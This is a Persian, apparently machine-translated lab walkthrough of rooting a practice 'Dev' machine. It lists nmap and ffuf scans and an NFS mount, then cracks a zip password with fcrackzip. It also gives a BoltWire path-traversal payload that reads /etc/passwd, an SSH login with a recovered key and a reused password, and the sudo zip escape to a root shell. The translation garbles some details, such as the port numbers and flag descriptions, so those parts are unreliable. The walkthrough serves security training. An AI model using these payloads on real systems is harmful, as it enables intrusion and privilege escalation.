EXPLOITING DEV MACHINE – انجمن DEV

این راهنما یک رویکرد خلاقانه برای دستیابی به دسترسی ریشه در یک ماشین را به نمایش می گذارد. ما از یک آسیبپذیری غیرمنتظره در دستور zip برای افزایش امتیازات استفاده میکنیم.
پس از راه اندازی موفقیت آمیز دستگاه توسعه دهنده خود، از جزئیات زیر برای ورود به دستگاه استفاده کنید.
نام کاربری: root
رمز عبور: tcm
اکنون باید آدرس IP ماشین آکادمی را دریافت کنیم تا این دستور ورودی را دریافت کنیم:
dhclient
بعد از آن دستور را وارد کنید:
ip a
از تصویر بالا، آدرس IP من برای آکادمی است 192.168.59.135
اکنون میتوانیم دستگاه را پینگ کنیم تا تأیید کنیم که هر دو دستگاه زنده هستند و در حال ارتباط هستند.
برای آن از دستور استفاده می کنیم:
ping 192.168.59.135 -c3
NB- آدرس IP شما با من متفاوت است، بنابراین مطمئن شوید که آدرس IP خود را یادداشت کرده و آن را پینگ کنید.
تصویر بالا نشان می دهد که هر دو ماشین می توانند با هم ارتباط برقرار کنند زیرا هیچ بسته ای گم نشده است.
سپس اسکن NMAP را برای جستجوی پورت های باز با استفاده از دستور زیر اجرا می کنیم:
nmap -p- -A 192.168.59.135
از اسکن فوق در مجموع 9 پورت باز است، اما برای این آزمایشگاه هدف اصلی ما پورت 802049 و 8080 است.
یکی از اولین کارهایی که پس از اجرای اسکن باید انجام دهیم، بازدید از صفحه وب برای آدرس IP است.
NB- از اسکن ما دو پورت http باز داریم (80 و 8080) یعنی از دو صفحه وب بازدید خواهیم کرد و دو صفحه وب عبارتند از:
192.168.59.135
and
192.168.59.135:8080
NB- وارد کردن 192.168.59.135:80 همان نتیجه 192.168.59.135 را به شما می دهد.
پس از اسکن زیاد صفحات وب، ما واقعاً چیزی در آنجا پیدا نکردیم، بنابراین در مرحله بعد باید جستجو کنیم که آیا میتوانیم فهرستهای وب پنهان را با استفاده از * پیدا کنیم.افف *
برای انجام این کار، دو تب جدید باز می کنیم و از دستور زیر برای جستجو در صفحات وب هر دو پورت استفاده می کنیم:
برای پورت 80:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.59.135/FUZZ
برای پورت 8080:
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://192.168.59.135:8080/FUZZ
در حالی که اسکن ffuf در حال اجرا است، می توانیم یک برگه جدید باز کنیم و روی پورت 2049 که باز است کار کنیم.
اکنون NFS نشان داده شده در پورت 2049 به معنای اشتراک فایل شبکه است، بنابراین ما کنجکاو هستیم که آیا چیزی در اشتراک فایل وجود دارد، بنابراین باید بررسی کنیم و برای بررسی از دستور استفاده می کنیم:
showmount -e 192.168.59.135
از جستجوی ما به نظر می رسد یک دایرکتوری به نام /srv/nfs وجود دارد که ممکن است حاوی یک فایل باشد.
برای اینکه بتوانیم فایل های موجود در آن دایرکتوری را دریافت کنیم، باید یک دایرکتوری ایجاد کنیم که بخواهیم فایل را در آن ذخیره کنیم و سپس ما کوه پرونده.
برای ایجاد دایرکتوری، دستور زیر را وارد کنید:
mkdir /mnt/dev
برای نصب فایل، دستور زیر را وارد کنید:
mount -t nfs 192.168.59.135:/srv/nfs /mnt/dev
حال باید با استفاده از دستور وارد پوشه /mnt/dev شوید:
cd /mnt/dev
و دستور را وارد کنید:
ls
شما باید فقط فایل save.zip را در فایل خود پیدا کنید، فایل من 3 فایل را نشان می دهد زیرا من قبلاً فایل را از حالت فشرده خارج کرده ام.
برای خارج کردن فایل از حالت فشرده، دستور زیر را وارد می کنیم:
unzip save.zip
در حال درخواست رمز عبور است که ما در حال حاضر نداریم.
ابزاری وجود دارد که میتوانیم از آن استفاده کنیم تا ببینیم آیا میتوانیم رمز عبور فایل فشرده را بشکنیم، ابزاری که نام دارد. fcrack
برای نصب ابزار روی کالی، دستور زیر را وارد کنید:
apt install fcrackzip
من قبلاً آن را نصب کرده ام اما ممکن است شما نتوانید، بنابراین پس از نصب موفقیت آمیز دستور را وارد کنید:
fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt save.zip
NB- -v به معنای پرمخاطب است زیرا می خواهیم همه خروجی ها را ببینیم
-u یعنی می خواهیم فایل را از حالت فشرده خارج کنیم
-دی یعنی ما می خواهیم از حمله دیکشنری استفاده کنیم
-پ برای فایلی است که می خواهیم کرک کنیم که save.zip است
پس از اجرای دستور می بینیم که یک رمز عبور پیدا کردیم که همان است java101
اکنون باید با استفاده از رمز عبور آن را از حالت فشرده خارج کنیم.
دستور را وارد کنید:
unzip save.zip
ورودی java101 برای رمز عبور
فایل شما با موفقیت از حالت فشرده خارج می شود و وقتی دستور * را وارد می کنیدls * همانطور که در زیر مشاهده می کنید باید 3 فایل داشته باشید.
یک فایل txt و یک فایل id_rsa وجود دارد، ابتدا باید بررسی کنیم که داخل فایل txt چیست.
برای این کار دستور را وارد می کنیم:
cat todo.txt
ما یک پیام از jp
ما نمی دانیم jp کیست، اما ما مشکوک هستیم که او یک کاربر است و همچنین یک فایل id_rsa داریم که به جزئیات کاربر نیاز دارد تا بتوانیم آن را SSH کنیم.
بنابراین ما دستور را امتحان می کنیم:
ssh -i id_rsa jp@192.168.182.128
NB- اگر از شما برای ورودی اثر انگشت بخواهد آره
برای رمز عبور ما نمی دانیم رمز عبور او چیست، بنابراین متاسفانه اکنون به نقطه اول برگشتیم.
در حال حاضر… بیایید به عقب برگردیم و جستجوی فهرست وب خود را در مورد ffuf بررسی کنیم.
بنابراین برای پورت 80:
خطوط بدون # و با وضعیت 301 فهرست موفق یافت شده بودند.
بنابراین برای پورت 80 شش فهرست وب یافت شد که عبارتند از:
-عمومی
-src
-برنامه
-فروشنده
-پسوندها
-وضعیت سرور
و برای پورت 8080:
دو مورد پیدا شد که عبارتند از:
-dev
-وضعیت سرور
بنابراین برای بررسی دایرکتوری وب 8080 به مرورگر وب خود می رویم و وارد می کنیم:
http://192.168.182.128:8080/dev
NB- ممکن است متوجه شده باشید که آدرس IP دستگاه من ممکن است تغییر کرده باشد، به این دلیل است که من رایانه شخصی را تغییر داده ام، بنابراین با خیال راحت دنبال کنید.
بنابراین ما به یک صفحه پیچ و مهره منتقل می شویم، من می توانم یک علامت ثبت نام را در صفحه وب ببینم، بنابراین با نام کاربری و رمز عبور ثبت نام کردم. هکر
پس با خیال راحت ثبت نام کنید و از هر جزئیاتی که انتخاب می کنید استفاده کنید.
اکنون به پوشه وب پورت 80 می روم و جزئیات یافت شده از ffuf را وارد می کنم.
پس از شمارش زیاد، فهرست وب که برای من برجسته بود این بود:
http://192.168.182.128/app
کلیک کنید روی پیکربندی/ دایرکتوری موجود در صفحه وب
حال بر روی آن کلیک کنید config.yml فایل برای دانلود فایل
پس از دانلود فایل، فایل را باز کنید
ما یک نام کاربری پیچ و رمز عبور پیدا کردیم من_عاشق_جاوا هستم
بنابراین من SSH را با استفاده از نام کاربری و رمز عبور امتحان کردم و باز هم ناموفق بود
بنابراین در مرحله بعد به وب سایت Bolt که به عنوان هکر ثبت نام کردم بازگشتم
و برای جستجوی boltwire exploit به گوگل رفت.
مورد زیر را پیدا کرده و روی صفحه وب کلیک کنید
برای استفاده از این اکسپلویت، باید احراز هویت شویم، زیرا قبلاً یک حساب کاربری با جزئیات هکر ایجاد کردهایم.
بنابراین مرحله بعدی کپی کردن ورودی است
index.php?p=action.search&action=../../../../../../../etc/passwd
و آن را در وب سایت هکر Boltwire ثبت شده ما وارد کنید.
وب سایت ما به این شکل بود
بنابراین پس از کپی کردن جزئیات از صفحه اکسپلویت، آن را وارد می کنیم تا به شکل زیر درآید:
بنابراین دستور را در صفحه وب خود وارد کنید:
http://192.168.182.128:8080/dev/index.php?p=action.search&action=../../../../../../../etc/passwd
توجه: به یاد داشته باشید که آدرس IP را به آدرس IP دستگاه خود تغییر دهید.
کاربران ثبت نام شده دستگاه نمایش داده شد و موردی که برای ما برجسته بود JP بود
بنابراین jp به عنوان jeanpaul ثبت می شود.
بنابراین اکنون با استفاده از دستور زیر را وارد فایل id_rsa می کنیم:
ssh -i id_rsa jeanpaul@192.168.182.128
و برای رمز عبور من سعی کردم با استفاده از من_عاشق_جاوا هستم به عنوان رمز عبور
این موفقیت آمیز بود.
خب حالا دستور رو وارد میکنم:
sudo -l
برای اینکه بفهمیم چه امتیاز sudo داریم
و خوشبختانه متوجه شدیم که می توانیم از دستور استفاده کنیم زیپ به عنوان یک کاربر فوق العاده بدون نیاز به ارائه رمز عبور برای آن.
مرحله بعدی اکنون این است که بفهمیم چگونه می توانیم از دستور zip که به ما داده شده است استفاده کنیم تا امتیاز خود را افزایش دهیم و کاربر اصلی شویم.
برای آن در گوگل جستجو می کنیم و جستجو می کنیم gtfobin
روی صفحه وب موجود در بالا کلیک کنید
از صفحه وب روی sudo کلیک کنید
به پایین اسکرول کنید، zip را پیدا کنید و روی sudo کلیک کنید
شما را به صفحه ای که در زیر مشاهده می کنید می برد
دستورات زیر را کپی کنید و در ترمینال وارد شده به عنوان jeanpaul وارد کنید
TF=$(mktemp -u)
حالا دستور را وارد کنید:
sudo zip $TF /etc/hosts -T -TT 'sh #'
ما یک پوسته را با موفقیت بیرون آورده ایم.
حالا دستور را وارد کنید:
whoami
برای اینکه بفهمیم کدام پوسته را ریختیم
ما با موفقیت به کاربر اصلی تبدیل شدیم.
ماشین با موفقیت مورد بهره برداری قرار گرفت!
در نتیجه، این بررسی خطر بالقوه امتیازات به ظاهر ناچیز را نشان داده است. با بهرهبرداری از دستور فشردهسازی بیش از حد، ما توانستیم دسترسی را از یک کاربر سطح پایین به یک کاربر فوقالعاده افزایش دهیم و اهمیت ارزیابیهای امنیتی کامل و خطر همیشه موجود مرتبط با خزش امتیاز را برجسته کنیم.